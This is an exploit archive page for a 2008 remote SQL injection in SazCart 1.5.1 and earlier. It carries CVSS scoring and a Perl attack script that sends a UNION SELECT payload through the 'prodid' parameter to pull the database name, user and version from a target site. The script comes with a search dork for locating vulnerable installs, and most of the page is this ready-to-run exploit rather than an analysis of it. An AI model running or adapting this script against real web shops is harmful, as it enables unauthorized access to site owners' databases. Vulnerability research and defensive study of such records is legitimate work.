SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit

2008.05.22
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl # SazCart <= v1.5.1 (details&prodid) Remote SQL Injection Exploit # HomePage: http://www.sazcart.com # Discovered & Coded by JosS # Contact: sys-project[at]hotmail.com # Spanish Hackers Team / Sys - Project / EspSeC # http://www.spanish-hackers.com # rgod forever :D # Dork: "Powered by SazCart" print "\t\t########################################################\n\n"; print "\t\t# SazCart <= v1.5.1 - Remote SQL Injection Exploit #\n\n"; print "\t\t# by JosS #\n\n"; print "\t\t########################################################\n\n"; use strict; use LWP::UserAgent; my $victim = $ARGV[0]; if(!$ARGV[0]) { print "\n[x] SazCart <= v1.5.1 - Remote SQL Injection Exploit\n"; print "[x] written by JosS - sys-project[at]hotmail.com\n"; print "[x] usage: perl xpl.pl [host]\n"; print "[x] example: http://localhost/path/\n\n"; exit(1); } print "\n[+] Exploiting...\n"; my $cnx = LWP::UserAgent->new() or die; my $go=$cnx->get($victim."?details&prodid=1'+union+all+select+0,1,convert(c oncat(database(),char(58),user(),char(58),version()),char),3,4/*"); if ($go->content =~ m/Price<\/b>\:(.*?)\<br/ms) { print "[+] $1\n\n"; } else { print "\n[-] exploit failed\n"; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top